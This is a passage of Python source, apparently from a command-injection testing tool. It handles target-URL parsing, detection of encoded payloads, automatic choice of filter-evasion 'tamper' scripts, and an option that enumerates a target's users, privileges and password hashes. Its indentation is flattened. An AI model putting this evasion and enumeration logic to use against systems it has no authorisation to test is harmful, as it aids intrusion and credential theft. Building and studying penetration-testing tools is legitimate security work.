if not re.search(r"^https?://", url, re.I) and not re.search(r"^wss?://", url, re.I):
if re.search(r":443\b", url):
url = "https://" + url
else:
url = "http://" + url
settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https"
else:
err_msg = "Invalid target URL has been given."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except ValueError as err:
err_msg = "Problem occurred while parsing target URL."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if _urllib.parse.urlparse(url).scheme != settings.SCHEME:
if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0:
debug_msg = "Forcing usage of SSL/HTTPS requests."
print(settings.print_debug_msg(debug_msg))
url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME)
return url
"""
Force the user-defined operating system name.
"""
def user_defined_os():
if menu.options.os:
if menu.options.os.lower() == "windows":
settings.TARGET_OS = settings.OS.WINDOWS
return True
elif menu.options.os.lower() == "unix":
return True
else:
err_msg = "You specified wrong value '" + menu.options.os + "' "
err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Decision if the user-defined operating system name,
is different than the one identified by heuristics.
"""
def identified_os():
warn_msg = "Heuristics have identified different operating system ("
warn_msg += settings.TARGET_OS + ") than that you have provided."
print(settings.print_warning_msg(warn_msg))
message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
return False
elif proceed_option.lower() == "c":
return True
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
"""
Checking all required third-party library dependencies.
"""
def third_party_dependencies():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking all required third-party library dependencies."
print(settings.print_debug_msg(debug_msg))
try:
import sqlite3
except ImportError:
err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library "
err_msg += "in order to store previous injection points and commands. "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
import readline
except (ImportError, AttributeError):
if settings.IS_WINDOWS:
try:
import pyreadline
except ImportError:
err_msg = "The 'pyreadline' (third-party) library is required "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features."
print(settings.print_error_msg(err_msg))
elif settings.PLATFORM == "posix":
try:
import gnureadline
except ImportError:
err_msg = "The 'gnureadline' (third-party) library is required "
err_msg += "in order to be able to take advantage of the TAB "
err_msg += "completion and history support features."
print(settings.print_error_msg(err_msg))
pass
"""
Print the authentiation error message.
"""
def http_auth_err_msg():
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")"
err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)"
err_msg += " and continue tests without providing valid credentials."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Decision if the user-defined HTTP authenticatiob type,
is different than the one identified by heuristics.
"""
def identified_http_auth_type(auth_type):
warn_msg = "Heuristics have identified different HTTP authentication type ("
warn_msg += auth_type.lower() + ") than that you have provided ("
warn_msg += menu.options.auth_type + ")."
print(settings.print_warning_msg(warn_msg))
message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
return False
elif proceed_option.lower() == "c":
return True
elif proceed_option.lower() == "q":
raise SystemExit()
else:
common.invalid_option(proceed_option)
pass
"""
Retrieve everything from the supported enumeration options.
"""
def enable_all_enumeration_options():
# Retrieve current user name.
menu.options.current_user = True
# Retrieve current hostname.
menu.options.hostname = True
# Retrieve system information.
menu.options.sys_info = True
if settings.TARGET_OS == settings.OS.WINDOWS:
# Check if the current user have admin privileges.
menu.options.is_admin = True
# Retrieve PowerShell's version number.
menu.options.ps_version = True
else:
# Check if the current user have root privileges.
menu.options.is_root = True
# Retrieve system users.
menu.options.users = True
# Retrieve system users privileges.
menu.options.privileges = True
# Retrieve system users password hashes.
menu.options.passwords = True
"""
Do replacement with the 'INJECT_HERE' tag,
if the wildcard char is provided.
"""
def wildcard_character(data):
if settings.WILDCARD_CHAR_APPLIED != None:
_ = ""
for data in data.split("\\n"):
# Ignore the Accept HTTP Header
if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data :
data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
settings.WILDCARD_CHAR_APPLIED = True
_ = _ + data + "\\n"
data = _.rstrip("\\n")
if data.count(settings.INJECT_TAG) > 1:
err_msg = "You specified more than one injecton markers. "
err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
return data
"""
Check provided parameters for tests
"""
def check_provided_parameters():
if menu.options.test_parameter or menu.options.skip_parameter:
if menu.options.test_parameter != None :
if menu.options.test_parameter.startswith("="):
menu.options.test_parameter = menu.options.test_parameter[1:]
settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
elif menu.options.skip_parameter != None :
if menu.options.skip_parameter.startswith("="):
menu.options.skip_parameter = menu.options.skip_parameter[1:]
settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
for i in range(0,len(settings.TEST_PARAMETER)):
if "=" in settings.TEST_PARAMETER[i]:
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
"""
Check defined skipped parameters
"""
def check_skipped_params(check_parameters, http_request_method):
settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER]
for parameter in check_parameters:
if parameter in ",".join(settings.TEST_PARAMETER).split(","):
info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'."
print(settings.print_info_msg(info_msg))
settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")]
settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER)
menu.options.test_parameter = True
"""
Print the non-listed parameters.
"""
def print_non_listed_params(check_parameters, http_request_method, header_name):
if settings.TEST_PARAMETER:
testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"")
testable_parameters = testable_parameters.split(",")
non_exist_param = list(set(testable_parameters) - set(check_parameters))
if non_exist_param:
non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"")
non_exist_param = non_exist_param.split(",")
if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \
menu.options.test_parameter != None:
if menu.options.cookie != None:
if settings.COOKIE_DELIMITER in menu.options.cookie:
cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
for cookie in cookies:
if cookie.split("=")[0].strip() in menu.options.test_parameter:
try:
non_exist_param.remove(cookie.split("=")[0].strip())
except ValueError:
pass
elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
try:
non_exist_param.remove(menu.options.cookie.split("=")[0])
except ValueError:
pass
# Remove the defined HTTP headers
for http_header in settings.HTTP_HEADERS:
if http_header in non_exist_param:
non_exist_param.remove(http_header)
if non_exist_param:
non_exist_param_items = ",".join(non_exist_param)
warn_msg = "Skipping tests for "
warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '"
warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1]
if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "":
warn_msg += " not part of the "
warn_msg += settings.HTTP_HEADER
else:
warn_msg += " not part of the "
warn_msg += http_request_method
warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET]
warn_msg += "."
print(settings.print_warning_msg(warn_msg))
if menu.options.skip_parameter != None:
check_skipped_params(check_parameters, http_request_method)
"""
Only time-relative injection techniques support tamper
"""
def time_relative_tamper(tamper):
warn_msg = "All injection techniques, except for the time-relative ones, "
warn_msg += "do not support the '" + tamper + ".py' tamper script."
if menu.options.skip_heuristics:
print(settings.SINGLE_WHITESPACE)
print(settings.print_warning_msg(warn_msg))
"""
Lists available tamper scripts
"""
def list_tamper_scripts():
info_msg = "Listing available tamper scripts."
print(settings.print_info_msg(info_msg))
if menu.options.list_tampers:
for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
content = open(script, "rb").read().decode(settings.DEFAULT_CODEC)
match = re.search(r"About:(.*)\n", content)
if match:
comment = match.group(1).strip()
print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment)
"""
Tamper script checker
"""
def tamper_scripts(stored_tamper_scripts):
if menu.options.tamper:
# Check the provided tamper script(s)
available_scripts = []
provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower())))
for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))):
available_scripts.append(os.path.basename(script.split(".py")[0]))
for script in provided_scripts:
if script in available_scripts:
pass
else:
err_msg = "The '" + script + "' tamper script does not exist. "
err_msg += "Use the '--list-tampers' option for listing available tamper scripts."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if not stored_tamper_scripts:
info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": "
print(settings.print_info_msg(info_msg))
for script in provided_scripts:
if "hexencode" or "base64encode" == script:
settings.MULTI_ENCODED_PAYLOAD.append(script)
import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0]
warn_msg = ""
if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "The dynamic code evaluation technique does "
elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "Windows targets do "
elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS:
warn_msg = "Unix-like targets do "
if len(warn_msg) != 0:
if not stored_tamper_scripts:
warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script."
print(settings.print_warning_msg(warn_msg))
else:
if not stored_tamper_scripts:
print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1])
try:
module = __import__(import_script, fromlist=[None])
if not hasattr(module, "__tamper__"):
err_msg = "Missing variable '__tamper__' "
err_msg += "in tamper script '" + import_script.split(".")[-1] + "'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except ImportError as err_msg:
pass
# Using too many tamper scripts is usually not a good idea. :P
_ = False
if len(provided_scripts) >= 3 and not settings.LOAD_SESSION:
warn_msg = "Using too many tamper scripts "
_ = True
elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION:
_ = True
warn_msg = "The combination of the provided tamper scripts "
if _:
warn_msg += "is not a good idea (may cause false positive / negative results)."
print(settings.print_warning_msg(warn_msg))
"""
Check if the payload output seems to be hex.
"""
def hex_output(payload):
if not settings.TAMPER_SCRIPTS['hexencode']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",hexencode"
else:
menu.options.tamper = "hexencode"
"""
Check if the payload output seems to be base64.
"""
def base64_output(payload):
if not settings.TAMPER_SCRIPTS['base64encode']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",base64encode"
else:
menu.options.tamper = "base64encode"
"""
Check for modified whitespaces.
"""
def whitespace_check(payload):
_ = []
whitespaces = ["${IFS}", "+", "%09", "%0b", "%20"]
for whitespace in whitespaces:
if whitespace in payload:
_.append(whitespace)
# Enable the "space2ifs" tamper script.
if "${IFS}" in _:
if not settings.TAMPER_SCRIPTS['space2ifs']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2ifs"
else:
menu.options.tamper = "space2ifs"
settings.WHITESPACES[0] = "${IFS}"
# Enable the "space2plus" tamper script.
elif "+" in _ and payload.count("+") >= 2:
if not settings.TAMPER_SCRIPTS['space2plus']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2plus"
else:
menu.options.tamper = "space2plus"
settings.WHITESPACES[0] = "+"
# Enable the "space2htab" tamper script.
elif "%09" in _:
if not settings.TAMPER_SCRIPTS['space2htab']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2htab"
else:
menu.options.tamper = "space2htab"
settings.WHITESPACES[0] = "%09"
# Enable the "space2vtab" tamper script.
elif "%0b" in _:
if not settings.TAMPER_SCRIPTS['space2vtab']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",space2vtab"
else:
menu.options.tamper = "space2vtab"
settings.WHITESPACES[0] = "%0b"
# Default whitespace
else :
settings.WHITESPACES[0] = "%20"
# Enable the "multiplespaces" tamper script.
count_spaces = payload.count(settings.WHITESPACES[0])
if count_spaces > 15:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",multiplespaces"
else:
menu.options.tamper = "multiplespaces"
settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2)
"""
Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads.
"""
def other_symbols(payload):
# Check for reversed (characterwise) user-supplied operating system commands.
if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['rev']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",rev"
else:
menu.options.tamper = "rev"
# Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads.
if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backticks"
else:
menu.options.tamper = "backticks"
settings.USE_BACKTICKS == True
# Check for caret symbol
if payload.count("^") >= 10:
if not settings.TAMPER_SCRIPTS['caret']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",caret"
else:
menu.options.tamper = "caret"
# Check for dollar sign followed by an at-sign
if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['dollaratsigns']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",dollaratsigns"
else:
menu.options.tamper = "dollaratsigns"
# Check for uninitialized variable
if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['uninitializedvariable']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",uninitializedvariable"
else:
menu.options.tamper = "uninitializedvariable"
# Check for environment variable value variable
if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['slash2env']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",slash2env"
else:
menu.options.tamper = "slash2env"
"""
Check for (multiple) added back slashes between the characters of the generated payloads.
"""
def check_backslashes(payload):
# Check for single quotes
if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['backslashes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",backslashes"
else:
menu.options.tamper = "backslashes"
"""
Check for quotes in the generated payloads.
"""
def check_quotes(payload):
# Check for double quotes around of the generated payloads.
if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['nested']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",nested"
else:
menu.options.tamper = "nested"
# Check for (multiple) added double-quotes between the characters of the generated payloads.
if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['doublequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",doublequotes"
else:
menu.options.tamper = "doublequotes"
# Check for (multiple) added single-quotes between the characters of the generated payloads.
if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['singlequotes']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",singlequotes"
else:
menu.options.tamper = "singlequotes"
"""
Recognise the payload.
"""
def recognise_payload(payload):
if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS:
if not settings.TAMPER_SCRIPTS['sleep2usleep']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",sleep2usleep"
else:
menu.options.tamper = "sleep2usleep"
elif "timeout" in payload:
if not settings.TAMPER_SCRIPTS['sleep2timeout']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",sleep2timeout"
else:
menu.options.tamper = "sleep2timeout"
is_decoded = False
encoded_with = ""
check_value = payload
if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \
not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
_payload = base64.b64decode(check_value)
try:
if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
decoded_payload = _payload
encoded_with = "base64"
if re.match(settings.HEX_RECOGNITION_REGEX, check_value):
decoded_payload, _ = hexdecode(decoded_payload)
if _:
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
encoded_with = "hex"
except Exception:
pass
elif re.match(settings.HEX_RECOGNITION_REGEX, check_value):
decoded_payload, _ = hexdecode(check_value)
if _:
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
encoded_with = "hex"
if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \
not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload):
_payload = base64.b64decode(check_value)
try:
if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
decoded_payload = _payload
encoded_with = "base64"
except Exception:
pass
else:
decoded_payload = payload
if len(encoded_with) != 0:
is_decoded = True
for encode_type in settings.MULTI_ENCODED_PAYLOAD:
# Encode payload to base64 format.
if encode_type == 'base64encode':
base64_output(payload)
# Encode payload to hex format.
if encode_type == 'hexencode':
hex_output(payload)
if is_decoded:
while True:
message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. "
message += "Do you want to process it encoded? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
break
elif procced_option in settings.CHOICE_NO:
settings.MULTI_ENCODED_PAYLOAD.remove(encode_type)
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
if is_decoded:
return _urllib.parse.quote(decoded_payload), encoded_with
else:
return payload, encoded_with
"""
Check for stored payloads and enable tamper scripts.
"""
def check_for_stored_tamper(payload):
decoded_payload, encoded_with = recognise_payload(payload)
whitespace_check(decoded_payload)
other_symbols(decoded_payload)
check_quotes(decoded_payload)
tamper_scripts(stored_tamper_scripts=True)
"""
Perform payload modification
"""
def perform_payload_modification(payload):
settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE)
for extra_http_headers in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
if extra_http_headers == "xforwardedfor":
from src.core.tamper import xforwardedfor
for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Reverses (characterwise) the user-supplied operating system commands
if mod_type == 'rev':
from src.core.tamper import rev
payload = rev.tamper(payload)
for print_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# printf to echo (for ascii to dec)
if print_type == 'printf2echo':
from src.core.tamper import printf2echo
payload = printf2echo.tamper(payload)
for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# sleep to timeout
if sleep_type == 'sleep2timeout':
from src.core.tamper import sleep2timeout
payload = sleep2timeout.tamper(payload)
# sleep to usleep
if sleep_type == 'sleep2usleep':
from src.core.tamper import sleep2usleep
payload = sleep2usleep.tamper(payload)
for quotes_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Add double-quotes.
if quotes_type == 'doublequotes':
from src.core.tamper import doublequotes
payload = doublequotes.tamper(payload)
# Add single-quotes.
if quotes_type == 'singlequotes':
from src.core.tamper import singlequotes
payload = singlequotes.tamper(payload)
for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Add uninitialized variable.
if mod_type == 'uninitializedvariable':
from src.core.tamper import uninitializedvariable
payload = uninitializedvariable.tamper(payload)
if mod_type == 'slash2env':
from src.core.tamper import slash2env
payload = slash2env.tamper(payload)
# Add backslashes.
if mod_type == 'backslashes':
from src.core.tamper import backslashes
payload = backslashes.tamper(payload)
# Add caret symbol.
if mod_type == 'caret':
from src.core.tamper import caret
payload = caret.tamper(payload)
# Transfomation to nested command
if mod_type == 'nested':
from src.core.tamper import nested
payload = nested.tamper(payload)
# Add dollar sign followed by an at-sign.
if mod_type == 'dollaratsigns':
from src.core.tamper import dollaratsigns
payload = dollaratsigns.tamper(payload)
for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Encode spaces.
if space_mod == 'space2ifs':
from src.core.tamper import space2ifs
payload = space2ifs.tamper(payload)
if space_mod == 'space2plus':
from src.core.tamper import space2plus
payload = space2plus.tamper(payload)
if space_mod == 'space2htab':
from src.core.tamper import space2htab
payload = space2htab.tamper(payload)
if space_mod == 'space2vtab':
from src.core.tamper import space2vtab
payload = space2vtab.tamper(payload)
for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
# Encode payload to hex format.
if encode_type == 'base64encode':
from src.core.tamper import base64encode
payload = base64encode.tamper(payload)
# Encode payload to hex format.
if encode_type == 'hexencode':
from src.core.tamper import hexencode
payload = hexencode.tamper(payload)
return payload
"""
Skip parameters when the provided value is empty.
"""
def skip_empty(empty_parameters, http_request_method):
warn_msg = "The " + http_request_method
warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " '" + empty_parameters + "'"
warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1]
warn_msg += "been skipped from testing"
warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "."
print(settings.print_warning_msg(warn_msg))
"""
Parsing and unflattening json data.
"""
def json_data(data):
data = json.loads(data, object_pairs_hook=OrderedDict)
data = unflatten_list(data)
data = json.dumps(data)
return data
"""
Check if the provided value is empty.
"""
def is_empty(multi_parameters, http_request_method):
all_empty = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking for empty values in provided data."
print(settings.print_debug_msg(debug_msg))
empty_parameters = []
multi_params = [s for s in multi_parameters]
if settings.IS_JSON:
try:
multi_params = ','.join(multi_params)
if is_JSON_check(multi_params):
json_data = json.loads(multi_params, object_pairs_hook=OrderedDict)
multi_params = flatten(json_data)
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
for empty in multi_params:
try:
if settings.IS_JSON:
try:
param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty]))
if "(" and ")" in param:
param = re.findall(r'\((.*)\)', param)
for value in param[0].split(","):
if value.split(":")[1] == "":
empty_parameters.append(value.split(":")[0])
elif len(str(multi_params[empty])) == 0 :
empty_parameters.append(empty)
except TypeError:
# warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable."
# print(settings.print_warning_msg(warn_msg))
pass
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE:
empty_parameters.append(re.findall(r'</(.*)>', empty)[0])
elif len(empty.split("=")[1]) == 0:
empty_parameters.append(empty.split("=")[0])
except IndexError:
if not settings.IS_XML:
err_msg = "No parameter(s) found for testing in the provided data."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(empty_parameters) == len(multi_parameters):
all_empty = True
if menu.options.skip_empty:
settings.SKIP_PARAMETER = empty_parameters
empty_parameters = ", ".join(empty_parameters)
if len(empty_parameters) > 0:
if menu.options.skip_empty:
skip_empty(empty_parameters, http_request_method)
if all_empty:
return all_empty
else:
return False
else:
warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " for " + http_request_method
warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1]
warn_msg += " '" + empty_parameters + "'"
warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. "
warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION
warn_msg += " could be able to run properly."
print(settings.print_warning_msg(warn_msg))
return False
# Check if valid SOAP/XML
def is_XML_check(parameter):
try:
if re.search(settings.XML_RECOGNITION_REGEX, parameter):
return True
except ValueError as err_msg:
return False
# Process with SOAP/XML data
def process_xml_data():
while True:
info_msg = "SOAP/XML data found in POST data."
message = info_msg
message += " Do you want to process it? [Y/n] > "
xml_process = common.read_input(message, default="Y", check_batch=True)
if xml_process in settings.CHOICE_YES:
settings.IS_XML = True
break
elif xml_process in settings.CHOICE_NO:
break
elif xml_process in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(xml_process)
pass
#Check if INJECT_TAG is enclosed in quotes (in json data)
def check_quotes_json_data(data):
if not json.dumps(settings.INJECT_TAG) in data:
data = data.replace(settings.INJECT_TAG, json.dumps(settings.INJECT_TAG))
return data
# Check if valid JSON
def is_JSON_check(parameter):
try:
json_object = json.loads(parameter)
if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter):
return True
except ValueError as err_msg:
_ = False
if "Expecting" in str(err_msg) and any(_ in str(err_msg) for _ in ("value", "delimiter")):
_ = True
if not "No JSON object could be decoded" in str(err_msg) and \
not _:
err_msg = "JSON " + str(err_msg) + ". "
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
return False
# Process with JSON data
def process_json_data():
while True:
info_msg = "JSON data found in POST data."
message = info_msg
message += " Do you want to process it? [Y/n] > "
json_process = common.read_input(message, default="Y", check_batch=True)
if json_process in settings.CHOICE_YES:
settings.IS_JSON = True
break
elif json_process in settings.CHOICE_NO:
break
elif json_process in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(json_process)
pass
"""
Check if provided parameters are in inappropriate format.
"""
def inappropriate_format(multi_parameters):
err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1]
err_msg += (' are ', ' is ')[len(multi_parameters) == 1]
err_msg += "not in appropriate format."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check for similarity in provided parameter name and value.
"""
def check_similarities(all_params):
if settings.IS_JSON:
try:
all_params = ','.join(all_params)
json_data = json.loads(all_params, object_pairs_hook=OrderedDict)
all_params = flatten(json_data)
for param in all_params:
if type(all_params[param]) is str and all_params[param] in param:
all_params[param] = all_params[param] + settings.RANDOM_TAG
all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")]
except Exception as e:
pass
else:
for param in range(0, len(all_params)):
if settings.IS_XML:
if re.findall(r'>(.*)</', all_params[param]):
if re.findall(r'>(.*)</', all_params[param])[0] in re.findall(r'</(.*)>', all_params[param])[0]:
parameter_name = ''.join(re.findall(r'</(.*)>', all_params[param]))
parameter_value = ''.join(re.findall(r'>(.*)</', all_params[param]))
all_params[param] = "<" + parameter_name + ">" + parameter_value + settings.RANDOM_TAG + "</" + parameter_name + ">"
else:
if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]):
parameter_name = ''.join(re.findall(r'=(.*)', all_params[param]))
all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG
elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]:
parameter_name = ''.join(re.findall(r'(.*)=', all_params[param]))
parameter_value = ''.join(re.findall(r'=(.*)', all_params[param]))
all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG
return all_params
"""
Gererate characters pool (for blind command injections)
"""
def generate_char_pool(num_of_chars):
if menu.options.charset:
char_pool = [ord(c) for c in menu.options.charset]
else:
# Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language
if num_of_chars == 1:
char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \
[101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122]
else:
char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \
[69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90]
char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
"""
Print powershell version
"""
def print_ps_version(ps_version, filename, _):
try:
settings.PS_ENABLED = True
ps_version = "".join(str(p) for p in ps_version)
if settings.VERBOSITY_LEVEL == 0 and _:
